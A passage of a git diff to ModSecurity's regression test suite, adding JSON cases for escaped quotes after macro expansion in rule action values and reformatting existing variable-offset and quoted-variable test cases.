"SecDefaultAction \"phase:1,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", + "SecDefaultAction \"phase:2,log,deny,status:418,tag:'Host: %{request_headers.host}'\"", + "SecAction \"id:'900012',phase:request,nolog,pass,t:none,setvar:'tx.allowed_methods=HEAD POST OPTIONS'\"", + "SecRule REQUEST_METHOD \"!@within %{tx.allowed_methods}\" \"msg:'Method is not allowed by policy',severity:'WARNING',id:'960032',phase:request,block,rev:'2',ver:'OWASP_CRS/3.0.0',maturity:'9',accuracy:'9',tag:'application-multi',tag:'language-multi',tag:'platform-multi',tag:'attack-generic',tag:'OWASP_CRS/POLICY/METHOD_NOT_ALLOWED',tag:'WASCTC/WASC-15',tag:'OWASP_TOP_10/A6',tag:'OWASP_AppSensor/RE1',tag:'PCI/12.1',logdata:'%{matched_var}',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:tx.%{rule.id}-OWASP_CRS/POLICY/METHOD_NOT_ALLOWED-%{matched_var_name}=%{matched_var}\"" ] -} + } ] diff --git a/test/test-cases/regression/misc-escaped-quote-after-macro-expansion.json b/test/test-cases/regression/misc-escaped-quote-after-macro-expansion.json new file mode 100644 index 0000000000..21bdfa90d8 --- /dev/null +++ b/test/test-cases/regression/misc-escaped-quote-after-macro-expansion.json @@ -0,0 +1,222 @@ +[ + { + "enabled": 1, + "version_min": 300000, + "title": "logdata: escaped single quote immediately after a %{macro} does not truncate the action value", + "url": "https://github.com/coreruleset/traffic-observation-plugin/actions/runs/35602944525/job/106343176175", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "\\\\x5c'Method\\\\x5c' : \\\\x5c'GET\\\\x5c', \\\\x5c'Protocol\\\\x5c' : \\\\x5c'HTTP/1\\.1\\\\x5c'", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_METHOD \"@unconditionalMatch\" \"phase:1,id:10003,log,pass,msg:'test',logdata:'\\'Method\\' : \\'%{REQUEST_METHOD}\\', \\'Protocol\\' : \\'%{REQUEST_PROTOCOL}\\''\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "action value: escaped double quote immediately after a %{macro} does not truncate the action value", + "url": "https://github.com/coreruleset/traffic-observation-plugin/actions/runs/35602944525/job/106343176175", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "\\\\x5c\\\\x22Method\\\\x5c\\\\x22 : \\\\x5c\\\\x22GET\\\\x5c\\\\x22, \\\\x5c\\\\x22Protocol\\\\x5c\\\\x22 : \\\\x5c\\\\x22HTTP/1\\.1\\\\x5c\\\\x22", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_METHOD \"@unconditionalMatch\" \"phase:1,id:10004,log,pass,msg:'test',logdata:\"\\\"Method\\\" : \\\"%{REQUEST_METHOD}\\\", \\\"Protocol\\\" : \\\"%{REQUEST_PROTOCOL}\\\"\"\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "logdata: an odd-length backslash run (3) before the quote right after a %{macro} is still an escaped quote, not a terminator", + "url": "https://github.com/owasp-modsecurity/ModSecurity/pull/3641#pullrequestreview", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "value=GET\\\\x5c\\\\x5c\\\\x5c'end", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_METHOD \"@unconditionalMatch\" \"phase:1,id:10005,log,pass,logdata:'value=%{REQUEST_METHOD}\\\\\\'end'\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "action value: an odd-length backslash run (3) before the double quote right after a %{macro} is still an escaped quote, not a terminator", + "url": "https://github.com/owasp-modsecurity/ModSecurity/pull/3641#pullrequestreview", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "value=GET\\\\x5c\\\\x5c\\\\x5c\\\\x22end", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_METHOD \"@unconditionalMatch\" \"phase:1,id:10006,log,pass,logdata:\"value=%{REQUEST_METHOD}\\\\\\\"end\"\"" + ] + }, + { + "enabled": 1, + "version_min": 300000, + "title": "msg (unquoted action value): escaped double quote immediately after a %{macro} does not truncate the action value", + "url": "https://github.com/owasp-modsecurity/ModSecurity/pull/3641#pullrequestreview", + "client": { + "ip": "200.249.12.31", + "port": 2313 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" + }, + "uri": "/test", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "error_log": "prefixGET\\\\\"suffix", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRule REQUEST_METHOD \"@unconditionalMatch\" \"phase:1,id:10007,log,pass,msg:prefix%{REQUEST_METHOD}\\\"suffix\"" + ] + } +] diff --git a/test/test-cases/regression/misc-variable-under-quotes.json b/test/test-cases/regression/misc-variable-under-quotes.json index 5310f61e8c..d2745cfc80 100644 --- a/test/test-cases/regression/misc-variable-under-quotes.json +++ b/test/test-cases/regression/misc-variable-under-quotes.json @@ -1,79 +1,90 @@ -[ - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables (quoted) :: REQUEST_LINE - contains (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 +[ + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables (quoted) :: REQUEST_LINE - contains (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"t:lowercase:" + "expected": { + "debug_log": "t:lowercase:", + "http_code": 200 }, - "rules":[ - "SecRule \"REQUEST_LINE\" \"@contains index.php/admin/cms/wysiwyg/directive/\" \"id:1,t:lowercase,ctl:auditLogParts=+E\"" + "rules": [ + "SecRule \"REQUEST_LINE\" \"@contains index.php/admin/cms/wysiwyg/directive/\" \"id:1,phase:1,t:lowercase,ctl:auditLogParts=+E\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing Variables (quoted) :: REQUEST_LINE - regex (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + { + "enabled": 1, + "version_min": 300000, + "title": "Testing Variables (quoted) :: REQUEST_LINE - regex (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"t:lowercase:" + "expected": { + "debug_log": "t:lowercase:", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRule \"REQUEST_LINE\" \"index.php/admin/cms/wysiwyg/directive/\" \"id:1,t:lowercase,ctl:auditLogParts=+E\"" ] } ] - diff --git a/test/test-cases/regression/misc.json b/test/test-cases/regression/misc.json index f089459927..a61fec9785 100644 --- a/test/test-cases/regression/misc.json +++ b/test/test-cases/regression/misc.json @@ -1,15 +1,40 @@ [ { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing action :: SecRule directives should be case insensitive", - "expected":{ - "audit_log":"", - "debug_log":"Executing operator \"Contains\" with param \"PHPSESSID\" against REQUEST_HEADERS.", - "error_log":"" + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing action :: SecRule directives should be case insensitive", + "client": { + "ip": "", + "port": 0 }, - "rules":[ + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"PHPSESSID\" against REQUEST_HEADERS.", + "http_code": 200 + }, + "rules": [ "secruleengine On", "secrule REQUEST_HEADERS \"@contains PHPSESSID\" \"id:1,t:lowercase,t:none,msg:'This is a test, %{REQUEST_HEADERS:Accept}%'\"", "secrule TX \"@contains to_test\" \"id:2,t:lowercase,t:none\"" diff --git a/test/test-cases/regression/offset-variable.json b/test/test-cases/regression/offset-variable.json index 9aa5120c2c..1fed3f32ac 100644 --- a/test/test-cases/regression/offset-variable.json +++ b/test/test-cases/regression/offset-variable.json @@ -1,1731 +1,2220 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,3v23,6t:trim" + "expected": { + "error_log": "o0,3v23,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRule ARGS \"@rx val\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_GET", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_GET", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value2", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value2", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o3,3v37,6t:trim" + "expected": { + "error_log": "o3,3v37,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRule ARGS_GET \"@rx ue2\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_POST 1", - "request":{ - "headers":{ - "Host":"localhost", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_POST 1", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", "Content-Length": "27", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value1" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o3,3v142,6t:trim" + "expected": { + "error_log": "o3,3v142,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_POST \"@rx ue1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_POST 2", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_POST 2", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o3,3v156,6t:trim" + "expected": { + "error_log": "o3,3v156,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_POST \"@rx ue2\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_GET_NAMES 1", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_GET_NAMES 1", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,6v17,6t:trim" + "expected": { + "error_log": "o0,6v17,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_GET_NAMES \"@rx param1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_GET_NAMES 2", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_GET_NAMES 2", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,6v31,6t:trim" + "expected": { + "error_log": "o0,6v31,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_GET_NAMES \"@rx param2\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_GET_NAMES 3", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_GET_NAMES 3", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - // should not match + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_GET_NAMES \"@rx am1 par\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_GET_NAMES 4", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_GET_NAMES 4", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - // should not match + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_GET_NAMES \"@rx am1 param2 par\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_POST_NAMES", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_POST_NAMES", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log": "0,6v149,6t:trim" + "expected": { + "error_log": "0,6v149,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_POST_NAMES \"@rx param1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_NAMES", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_NAMES", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "41", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"POST", - "body":[ + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "POST", + "body": [ "param1=value1¶m2=value2¶m3=value3" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,6v17,6t:trim" + "expected": { + "error_log": "o0,6v17,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_NAMES \"@rx param1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_COMBINED_SIZE 1", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_COMBINED_SIZE 1", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"v16,6v23,6v30,6v37,6v44,6v51,6t:trim" + "expected": { + "error_log": "v16,6v23,6v30,6v37,6v44,6v51,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_COMBINED_SIZE \"@gt 1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] - }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - ARGS_COMBINED_SIZE 2", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + }, + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - ARGS_COMBINED_SIZE 2", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"v16,6v23,6v30,6v37,6v44,6v51,6t:trim" + "expected": { + "error_log": "v16,6v23,6v30,6v37,6v44,6v51,6t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule ARGS_COMBINED_SIZE \"@gt 1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_LINE", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_LINE", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET" + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o23,6v0,63t:trim" + "expected": { + "error_log": "o23,6v0,63t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_LINE \"value1\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_METHOD", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + { + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_METHOD", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o0,3v0,3t:trim" + "expected": { + "error_log": "o0,3v0,3t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule REQUEST_METHOD \"GET\" \"id:1,phase:2,pass,t:trim,msg:'ops'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Variable offset - REQUEST_PROTOCOL", - "request":{ - "headers":{ - "Host":"localhost", - "Content-Length": "27", + "enabled": 1, + "version_min": 300000, + "title": "Variable offset - REQUEST_PROTOCOL", + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Host": "localhost", + "Content-Length": "0", "Content-Type": "application/x-www-form-urlencoded", "AuThOrIzAtIoN": "Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==" }, - "uri":"/index.html?param1=value1¶m2=value1¶m3=value1", - "method":"GET", - "http_version": 1.1 + "uri": "/index.html?param1=value1¶m2=value1¶m3=value1", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "error_log":"o5,3v58,8t:trim" + "expected": { + "error_log": "o5,3v58,8t:trim", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRequestBodyAccess On", "SecRule 